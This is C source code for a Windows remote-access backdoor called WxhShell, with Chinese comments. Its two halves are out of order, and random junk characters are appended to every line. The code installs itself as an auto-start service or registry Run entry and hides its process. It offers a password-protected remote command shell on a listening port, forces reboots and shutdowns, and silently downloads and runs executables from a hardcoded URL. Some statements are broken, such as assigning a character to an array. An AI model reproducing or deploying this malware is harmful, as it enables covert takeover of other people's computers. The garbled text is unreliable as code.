    if(Boot(SHUTDOWN)) p_A5C?&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnA_!$Y a  
    else { ZWov_  
    closesocket(wsh); G3oxa/mO  
    ExitThread(0); -`,~9y;tx  
    } |:dCVd<du  
    break; _,11EeW@  
    } (/To?`  
  // 获取shell h5<T.vV  
  case 's': { Z#srQD3].(  
    CmdShell(wsh); =ZFcxGo  
    closesocket(wsh); \,$r,6-g  
    ExitThread(0); zojuH8  
    break; O_qu;Dx!  
  } u Eu6f  
  // 退出 YK(XS"Kl  
  case 'x': { p)K9 ZI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?3.(Vqwog  
    CloseIt(wsh); Z $ p^v*y  
    break; GZxglU,3T  
    } ?v0A/68s#  
  // 离开 50}.Xm@,BO  
  case 'q': { 6RR4L^(m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $71i+h]_  
    closesocket(wsh); \VoB=Ac&  
    WSACleanup(); > u'/$ k  
    exit(1); 6R3"L]J  
    break; /zChdjz  
        } Lf$Q %eM0  
  } yffU% )  
  } }rFsU\]:q  
~YR <SV\{  
  // 提示信息 @5<]W+jk4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9n06n$F  
} !UUmy% 9  
  } 8=ukS_?Vy  
U*`  
  return; B}l}Aq8  
} mcAH1k e  
4\ uZKv@,  
// shell模块句柄 (ffOu#RQ3  
int CmdShell(SOCKET sock) muqfSF  
{ o O{|C&A  
STARTUPINFO si; M]%!n3Fb  
ZeroMemory(&si,sizeof(si)); Bd N{[2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0+VncL)u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X r  
PROCESS_INFORMATION ProcessInfo; ~/]\iOL  
char cmdline[]="cmd"; ;T"m [D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]$XBd{\D{  
  return 0; os "[Iji  
} v4Fnh`{  
0pZ.; /<{  
// 自身启动模式 g 'd*TBnk  
int StartFromService(void) .:r2BgL  
{ cLN[o8 ZU  
typedef struct Qw{\sCH>  
{ .SRuyioF&  
  DWORD ExitStatus; h M1&A  
  DWORD PebBaseAddress; 5~kW-x  
  DWORD AffinityMask; l1iF}>F2  
  DWORD BasePriority; T9XW%/n  
  ULONG UniqueProcessId; #qiGOpTF.  
  ULONG InheritedFromUniqueProcessId; ba:mO$  
}   PROCESS_BASIC_INFORMATION; l/y Kc8^<  
,h5-rw'  
PROCNTQSIP NtQueryInformationProcess; dl3LDB  
;#6<bV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m_PrasZ>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `|ck5DZT5L  
FRJ:ym=E  
  HANDLE             hProcess; M~g~LhsF  
  PROCESS_BASIC_INFORMATION pbi; _n Iqy&<  
\4`saM /x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1>*UbV<R;u  
  if(NULL == hInst ) return 0; LK-K_!F  
J*q=C%}.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i"\AyKiJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u;'<- _  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "DcueU#!  
8ZDqqz^C0  
  if (!NtQueryInformationProcess) return 0; O( 5L2G  
l]58P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2'UFHiK  
  if(!hProcess) return 0; }T1Xds8w)t  
^hYR5SX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {p lmFV  
r #6l?+W ;  
  CloseHandle(hProcess); [Yahxw}  
i&s=!`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |@Idf`N$  
if(hProcess==NULL) return 0; @,>=X:7  
Xw}Y!;<IEu  
HMODULE hMod; /x8C70W^  
char procName[255]; b]qfcV  
unsigned long cbNeeded; Mbi+Vv-  
Mpl,}Q!c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PuoJw~^h  
X#NeB>~  
  CloseHandle(hProcess); (+Nmio  
jv#" vQ9A]  
if(strstr(procName,"services")) return 1; // 以服务启动 U=cWvr65  
l<MCmKuYp  
  return 0; // 注册表启动 "a`0w9Mm}  
} ~JmxW;|_x)  
ht cO ~b  
// 主模块 f}9`iN=k  
int StartWxhshell(LPSTR lpCmdLine) @Q1F#IU  
{ Q,qylL  
  SOCKET wsl; zvs 2j"lb  
BOOL val=TRUE; aFc'_FrQ  
  int port=0; ]O(HZD%  
  struct sockaddr_in door; sbiDnRf  
`kT$Gx4x  
  if(wscfg.ws_autoins) Install(); n,'AFb4AF  
T+{'W  
port=atoi(lpCmdLine); /s0VyUV=  
Z 7ZMu  
if(port<=0) port=wscfg.ws_port; B>nd9Z '  
o!dkS/u-m  
  WSADATA data; ~~E=E;9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j9fL0$+FI  
;8xn"G0}a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =ir;m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (8X8<>w~  
  door.sin_family = AF_INET; Z5^ UF2`Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hx/Vm`pRyX  
  door.sin_port = htons(port); ?lna8]t  
S gsR;)2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &aht K}u  
closesocket(wsl); qpH-P8V   
return 1; Xwq2;Bq  
} <6@NgSFz'  
[5:7 WqB  
  if(listen(wsl,2) == INVALID_SOCKET) { S|h  m  
closesocket(wsl); ?S7:KnU>K  
return 1; ~PvzUT-^  
} jJnBwHp  
  Wxhshell(wsl); *Bz&  
  WSACleanup(); (ZSSp1R v  
TBp5xz`  
return 0; )_ u'k /  
b,A1(_pzi  
} P z!yIj  
/Bu5k BC  
// 以NT服务方式启动 |hyr(7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a6#PZ!1  
{ q &o=4  
DWORD   status = 0; R;ug+N  
  DWORD   specificError = 0xfffffff; w`_9*AF9  
c?Qg :yU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #-,`4x$m|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m 1;jS|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |B.d7@{mM  
  serviceStatus.dwWin32ExitCode     = 0; &zy9}4w,  
  serviceStatus.dwServiceSpecificExitCode = 0; g >oLc6T  
  serviceStatus.dwCheckPoint       = 0; ^;_b!7*  
  serviceStatus.dwWaitHint       = 0; Agf!6kh  
/LzNr0>2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ".Ug A\0  
  if (hServiceStatusHandle==0) return; Or|LyQU  
L  *@>/N  
status = GetLastError(); [J 3;U6  
  if (status!=NO_ERROR) F,:VL*.5kJ  
{ v836nxLM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gk` .8o  
    serviceStatus.dwCheckPoint       = 0; \ed(<e>  
    serviceStatus.dwWaitHint       = 0; :b-(@a7>  
    serviceStatus.dwWin32ExitCode     = status; \_'pUp22  
    serviceStatus.dwServiceSpecificExitCode = specificError; "de:plMofy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?H?r!MZ%  
    return; eu;^h3u;b  
  } `#bcoK5  
_,Y79 b6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R4;6Oi)  
  serviceStatus.dwCheckPoint       = 0; PGGJpD?  
  serviceStatus.dwWaitHint       = 0; EK^2 2vi$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kA0 ^~  
} * PPFk.#x  
Y8T.RS0  
// 处理NT服务事件,比如:启动、停止 C5z4%,`f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yfrgYA  
{ 3]P=co@  
switch(fdwControl) UHWun I S  
{ ;7hr8?M|  
case SERVICE_CONTROL_STOP: 2]wh1)  
  serviceStatus.dwWin32ExitCode = 0; ^D)C|T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =JkSq J)?  
  serviceStatus.dwCheckPoint   = 0; ^ z;pP  
  serviceStatus.dwWaitHint     = 0;  |QdS;  
  { vvCGzOv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RP$A"<goP  
  } ]g :ZokU  
  return; *:(t.iL  
case SERVICE_CONTROL_PAUSE: BlCKJp{m$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 04:Dbt~=?p  
  break; >e%Po,Fg$  
case SERVICE_CONTROL_CONTINUE: JYq} YG=%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !=pemLvH  
  break; % |V:F.f  
case SERVICE_CONTROL_INTERROGATE: sQw-#f7t  
  break; tp7fmn*  
}; [B Al  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5VfP@{  
} ?zEgN!\R)  
cP,jC(<N  
// 标准应用程序主函数 G>j/d7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |Cm}%sgR\0  
{ We|*s2!  
^*W3{eyi(L  
// 获取操作系统版本 w}iflAnjq  
OsIsNt=GetOsVer(); 4'M#m|V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7^1ikmYY  
ETtR*5Y 5  
  // 从命令行安装 0)Z7U$  
  if(strpbrk(lpCmdLine,"iI")) Install(); %2.T1X%!  
1D$k:|pP~  
  // 下载执行文件 n(L {2r  
if(wscfg.ws_downexe) { kDrGl{U}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'EQAG' YV  
  WinExec(wscfg.ws_filenam,SW_HIDE); Aq-v3$XL  
} ;Zw28!#Rt  
Tb[GZ,/%;  
if(!OsIsNt) { /cg!Ap5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;-3M  
HideProc(); 2:]Sy4K{  
StartWxhshell(lpCmdLine); C9fJLCufC  
} WrV|<%EQh  
else *oF{ R^  
  if(StartFromService()) !vU[V,~  
  // 以服务方式启动 >[#4Pb7_Y  
  StartServiceCtrlDispatcher(DispatchTable); Cs$g]&a  
else ."2V:;;  
  // 普通方式启动 ~=71){4A  
  StartWxhshell(lpCmdLine); 7M4iBk4I  
QRRZMdEGs[  
return 0; 54k Dez  
} XjV7Ew^7  
NIgt"o[I  
N7NK1<vw2  
Uc/%4Gx   
=========================================== F$caKWzny5  
V3UEuA  
b_B4  
Q5Wb)  
-v]7}[ .[  
jWm<!< ~  
" J9o ]$.e  
%rf<YZ.\  
#include <stdio.h> u+-}|  
#include <string.h> iM\W"OUl[  
#include <windows.h> [[Z*n/tr  
#include <winsock2.h> 0s(G*D2%6  
#include <winsvc.h> #jnb6v=5v  
#include <urlmon.h> oRCj]9I$  
5-MI 7I@l  
#pragma comment (lib, "Ws2_32.lib") |d{4_o90  
#pragma comment (lib, "urlmon.lib") Eg ;r]?|6  
FN G]  
#define MAX_USER   100 // 最大客户端连接数 wE'~Qj  
#define BUF_SOCK   200 // sock buffer -ohqw+D  
#define KEY_BUFF   255 // 输入 buffer &L_(yJ~-  
?8`b  
#define REBOOT     0   // 重启 O5E\#*<K  
#define SHUTDOWN   1   // 关机 Obbjl@]  
`}18A.K  
#define DEF_PORT   5000 // 监听端口 d^ w6_  
xgfK0-T|[  
#define REG_LEN     16   // 注册表键长度 "zv?qS  
#define SVC_LEN     80   // NT服务名长度 yAaMYF@  
aCQAh[T  
// 从dll定义API SDZ/rC!C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h/5.>[VwDh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *!vwW T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *M09Y'5]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :Oxrw5`=  
@?TOg{:  
// wxhshell配置信息 g%Eb{~v  
struct WSCFG { )A,M T i  
  int ws_port;         // 监听端口 L~>pSP^a  
  char ws_passstr[REG_LEN]; // 口令 H}`}qu #~V  
  int ws_autoins;       // 安装标记, 1=yes 0=no "OkJPu2!W  
  char ws_regname[REG_LEN]; // 注册表键名 NU O9,  
  char ws_svcname[REG_LEN]; // 服务名 Z!DGCw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +hGr2%*0f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OLTgBXh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ns Pt1_ Y8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zh,(/-XN;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]U82A**n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x= X"4Mj0)  
HZKqGkE  
}; (} ?")$.  
4"7/+6Z  
// default Wxhshell configuration s9X?tWuL  
struct WSCFG wscfg={DEF_PORT, DJR_"8  
    "xuhuanlingzhe", e-Mei7{%  
    1, E0G"B' x  
    "Wxhshell", p%[/ _ -7  
    "Wxhshell", *d b,N'rK  
            "WxhShell Service", ^\KZE|^3@  
    "Wrsky Windows CmdShell Service", o!bV;]  
    "Please Input Your Password: ", ^zn&"@  
  1, jnho *,X  
  "http://www.wrsky.com/wxhshell.exe", dg-nv]7  
  "Wxhshell.exe" ~lib~Y'-  
    }; hv (>9N  
v[57LB  
// 消息定义模块 wl7G6Y2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X;'H@GU0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ZP $(a4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KDxqz$14 -  
char *msg_ws_ext="\n\rExit."; %\$~B?At  
char *msg_ws_end="\n\rQuit."; VH M&Y-G  
char *msg_ws_boot="\n\rReboot..."; P.aN4 9`=  
char *msg_ws_poff="\n\rShutdown..."; iC2``[m"  
char *msg_ws_down="\n\rSave to "; 7 x#QkImQ  
{#y~ Qk;T  
char *msg_ws_err="\n\rErr!"; %[B^b)2  
char *msg_ws_ok="\n\rOK!"; ur\<NApT;  
LT[g +zGB  
char ExeFile[MAX_PATH]; O pavno%&  
int nUser = 0; XSHK7vpMf  
HANDLE handles[MAX_USER]; uHeKttR-  
int OsIsNt; .7BJq?K.  
*{DpNV8"  
SERVICE_STATUS       serviceStatus; 'Y2ImSWj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 18nT Iz_  
;-kC&GZf  
// 函数声明 #fy3 i+  
int Install(void); qBF6LhR  
int Uninstall(void); u4x>gRz)  
int DownloadFile(char *sURL, SOCKET wsh); /#}o19(-d  
int Boot(int flag); )sN}ClgJ  
void HideProc(void); iVT)V>Up  
int GetOsVer(void); tJ$gH;  
int Wxhshell(SOCKET wsl); k:[T#/;  
void TalkWithClient(void *cs); n{$! ]^>  
int CmdShell(SOCKET sock); ;&c9!LfP  
int StartFromService(void); 7?ICXhu9  
int StartWxhshell(LPSTR lpCmdLine); d0V*[{  
P](/5KrK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u+ b `aB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MFeY}_d<  
;oCSKY4  
// 数据结构和表定义 r17"i.n  
SERVICE_TABLE_ENTRY DispatchTable[] = :'2h0 5R  
{ E5qt~:C|  
{wscfg.ws_svcname, NTServiceMain}, IFsh"i  
{NULL, NULL} FQBE1h@k0u  
}; w?V;ItcL  
U4=m>Ty  
// 自我安装 xc}kDpF=g  
int Install(void) m$bYx~K  
{ ^P|Zze zwU  
  char svExeFile[MAX_PATH]; i&KBMx   
  HKEY key; o-<XR9,N*  
  strcpy(svExeFile,ExeFile); /Z~5bb(  
0SR[)ma  
// 如果是win9x系统,修改注册表设为自启动 h0] bIT{  
if(!OsIsNt) { Q[Gs%/>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qe =8x7oIP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~p?D[]h  
  RegCloseKey(key); )>tT ""yEl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f}EsS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Zc:$"gDu  
  RegCloseKey(key); T 9FGuit9  
  return 0; O{p7I&  
    } lWDSF]ZYV  
  } iD.p KG  
} Z.`0  
else { YpgO]\/w  
*B)10R  
// 如果是NT以上系统,安装为系统服务 [0D.+("EW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v}\Fbe  
if (schSCManager!=0) @1~cPt   
{ Tol V3  
  SC_HANDLE schService = CreateService dVMLn4[,MA  
  ( XMzQ8|]  
  schSCManager, cv;2zq=T  
  wscfg.ws_svcname, M< H+$}[  
  wscfg.ws_svcdisp, HQSFl=Q  
  SERVICE_ALL_ACCESS, F$ckW'V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _FU}IfG>t  
  SERVICE_AUTO_START, /.(~=6o5  
  SERVICE_ERROR_NORMAL, OepQ Z|2  
  svExeFile, cd`P'GDF  
  NULL, 7Y)i>[u3  
  NULL, O;$}j:;KF  
  NULL, cfPp>EK  
  NULL, XT \2  
  NULL  He%v4S  
  ); !C(PfsrR/  
  if (schService!=0) ( G~ME>  
  { QRx9;!~b}  
  CloseServiceHandle(schService); Uu|2!}^T  
  CloseServiceHandle(schSCManager); 8?rq{&$t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e0]#vqdO  
  strcat(svExeFile,wscfg.ws_svcname); +Ht(_+To1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (:^YfG~e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rp!"c  
  RegCloseKey(key); ol~ tfS  
  return 0; qoZe<jW (  
    } d6ifJ  
  } ~.#57g F"  
  CloseServiceHandle(schSCManager); $ nMx#~>a  
} aU/y>Y <k  
} "([lkn  
l3y}nh+ 8  
return 1; FxT]*mo  
} M,cz7,  
3EH@tlTl  
// 自我卸载 : rudo[L  
int Uninstall(void) JEK_W<BD  
{ 7q{yLcC"  
  HKEY key; i ~)V>x  
'*EKi  
if(!OsIsNt) { rHqP[[4B'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t0za%q!fK<  
  RegDeleteValue(key,wscfg.ws_regname); rCb$^(w{7  
  RegCloseKey(key); S_^;#=_c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7jr+jNsowj  
  RegDeleteValue(key,wscfg.ws_regname); ztAC3,r]  
  RegCloseKey(key); *^XMf  
  return 0; \w&R`;b8w  
  } W e*uZ?+  
} 2IP<6l8N  
} )umW-A  
else { sV`XJ9e|  
n:%A4*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wKy4Ic+RV  
if (schSCManager!=0) <}AmzeHr+  
{ Q0TKM >  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iBqIV  
  if (schService!=0) oRl@AhS  
  { OLDEB.@  
  if(DeleteService(schService)!=0) { |d_ rK2  
  CloseServiceHandle(schService); 2spK#0n.HV  
  CloseServiceHandle(schSCManager); %* @hS`  
  return 0; 4?~Ei[KgQn  
  } x_x|D|@wM  
  CloseServiceHandle(schService); -257g;  
  } Y\{lQMCy  
  CloseServiceHandle(schSCManager); 1)!]zV  
} 6 ZVD<C:\  
} b'4r5@GO  
|1Ko5z  
return 1; 6bt{j   
} v5`Odbc=w  
'a enh j  
// 从指定url下载文件 8j!(*'J.  
int DownloadFile(char *sURL, SOCKET wsh) L&~>(/*7U  
{ X]t *  
  HRESULT hr; Re'Ek  
char seps[]= "/"; p2o6 6t  
char *token; ?a-}1A{  
char *file; LY(h>`  
char myURL[MAX_PATH]; )1]LoEdm`  
char myFILE[MAX_PATH]; ^ px)W,O  
}ilX 2s?>  
strcpy(myURL,sURL); Vq#_/23=$y  
  token=strtok(myURL,seps); 8_ _C T  
  while(token!=NULL) .#ATI<t  
  { c)=UX_S!  
    file=token; }#U3vMx(  
  token=strtok(NULL,seps); ]ch=D  
  } `z3"zso  
=u]FKY  
GetCurrentDirectory(MAX_PATH,myFILE); 9:6d,^X  
strcat(myFILE, "\\"); @5(HRd  
strcat(myFILE, file); rzgzX  
  send(wsh,myFILE,strlen(myFILE),0); TVFxEV7Fx  
send(wsh,"...",3,0); ' k[gxk|d2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q Ph6 p3bg  
  if(hr==S_OK) q9"~sCH  
return 0; MEn#MT/Cz  
else MHKB:t]hA  
return 1; t ~"DQq E  
_a=f.I  
} .:#6dG\0z  
._z[T@!9  
// 系统电源模块  !#8=tO  
int Boot(int flag) Nm/Fc   
{ 7?JcB?G4  
  HANDLE hToken; uP[:P?,t  
  TOKEN_PRIVILEGES tkp; LlG~aGhel  
& A<Pf.Us  
  if(OsIsNt) { 0,`$KbV\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lb('=]3 }H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >#\&%0OZw  
    tkp.PrivilegeCount = 1; >K;'dB/m;1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '%"#]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vXM``|  
if(flag==REBOOT) { ?V&[U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r3b~|O^}  
  return 0; ;"/ "  
} 5K*-)F ]  
else { bz? *#S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S[ ,r .+  
  return 0; J ;wA  
} E qva] 4  
  } \l leO|m  
  else { V-w[\u  
if(flag==REBOOT) { PF(P"f.?D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _9Ig`?<>I  
  return 0; :Y[r^=>  
} 7>m#Y'ppl@  
else { W$Bx?}x($  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d0 tN73(  
  return 0; (Rk g  
} 9D_4]'KG  
} ]eq3cwR[|  
ca_8S8lv  
return 1; VMW ?[j  
} T`=N^Ca1!`  
U<NpDjc"  
// win9x进程隐藏模块 hGF(E*  
void HideProc(void) F77[fp  
{ vwzTrWA=  
T+2I:W%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :OBggb#?!  
  if ( hKernel != NULL ) ? F f w'O  
  { 'F+O+-p+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hk&p+NV!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ASaG }h  
    FreeLibrary(hKernel); ki^[~JS>'  
  } bah5 f  
W.n@  
return; W^&t8d2  
} s:cS 9A8  
~%Yh`c EP  
// 获取操作系统版本 Ye!=  
int GetOsVer(void) #D+Fq^="P  
{ ce=6EYl  
  OSVERSIONINFO winfo; v-[|7Pg}Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qBX<{[  
  GetVersionEx(&winfo); M7,|+W/RK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :N)7SYQT  
  return 1; 60AX2-sdJ,  
  else { Rw~G&vQ  
  return 0; G68N@g  
} o(~JZi k  
<k^9l6@  
// 客户端句柄模块 o <l4}~a  
int Wxhshell(SOCKET wsl) .FHOOw1r=  
{ TJsT .DWW~  
  SOCKET wsh; Qn%*kU0X  
  struct sockaddr_in client; web&M!-  
  DWORD myID; 6o A0a\G'  
ocgbBE  
  while(nUser<MAX_USER) $X*$,CCIB  
{ rhn*k f{8  
  int nSize=sizeof(client); cS ];?tqrA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <O\z`aA'q  
  if(wsh==INVALID_SOCKET) return 1; x=au.@psBS  
[sNn^x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 cIVK}&  
if(handles[nUser]==0) 5K6_#g4"  
  closesocket(wsh); s:]rL&|  
else LK:|~UV?  
  nUser++; (c[h,>`@:  
  } DD3J2J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zRE7 w:  
o!\O)  
  return 0; ~C!vfPC  
} A&t'uY6  
 B-&J]H  
// 关闭 socket ([9h.M6v  
void CloseIt(SOCKET wsh) p6HZ2Q:a  
{ 10}Zoq|)n  
closesocket(wsh); )uX:f8  
nUser--; M2zfN ru  
ExitThread(0); BEI/OGp  
} n3|~X/I  
'Ux_X:,:;  
// 客户端请求句柄 40 c#zCE  
void TalkWithClient(void *cs) 2bxT%xH:g  
{ <hK$Cf_  
'Vrev8D  
  SOCKET wsh=(SOCKET)cs; QKP9*dz  
  char pwd[SVC_LEN]; ^g[])2",  
  char cmd[KEY_BUFF]; &J~S  $  
char chr[1]; _ma4  
int i,j; 3x=F  
I Mv^ 9T:  
  while (nUser < MAX_USER) { YwF6/JA0^  
Z?X$8o^Z  
if(wscfg.ws_passstr) { h ?ia4t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5AjK7[<L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OUdeQO?  
  //ZeroMemory(pwd,KEY_BUFF); tm|lqa  
      i=0; \YKh'|04  
  while(i<SVC_LEN) { 0}^-, Q,  
eY(usK  
  // 设置超时 v:HgpZo+  
  fd_set FdRead; W8P**ze4)  
  struct timeval TimeOut; e N-{  
  FD_ZERO(&FdRead); 8uGPyH  
  FD_SET(wsh,&FdRead); `-/l$A} U  
  TimeOut.tv_sec=8; hL3,/^;E,  
  TimeOut.tv_usec=0; G^(&B30V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v|/3Mi9mz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @NH Ruk+  
;OPCBdr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6>L.)V  
  pwd=chr[0]; \=@r1[d  
  if(chr[0]==0xd || chr[0]==0xa) { c==Oio("  
  pwd=0; wU ; f   
  break; QlS5B.h,  
  } 2 Lam vf  
  i++; ~r!5d@f.6  
    } j^ _I{  
-oZ a c  
  // 如果是非法用户,关闭 socket Fm;)7.% >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OhW=F2OIV  
} )]%9Tgn  
VA%"IAl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x7@WWFF>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gtg)%`  
bF KP V%`  
while(1) { )a^Yor)o"  
"pZ3  
  ZeroMemory(cmd,KEY_BUFF); da2[   
// }8HY)>  
      // 自动支持客户端 telnet标准   UC1!J =f  
  j=0; Ft7a\vn*B  
  while(j<KEY_BUFF) { F3Y>hs):7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;ULC|7rL  
  cmd[j]=chr[0]; )KqR8UO  
  if(chr[0]==0xa || chr[0]==0xd) { =GQ^uVf1  
  cmd[j]=0; IPO[J^#Me  
  break; KCk?)Qv  
  } GVEWd/:X(  
  j++; 30_un  
    } CJ?gjV6  
DVhTb  
  // 下载文件 ` (D4gPW  
  if(strstr(cmd,"http://")) { l;BX\S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,8I AhQa  
  if(DownloadFile(cmd,wsh)) |)q K g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {% _j~  
  else M_1Tx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4VNb`!e  
  } {1MGb%xW  
  else { tin|,jA =  
cHL]y0>  
    switch(cmd[0]) { ^v!im\ r  
  )_v\{N  
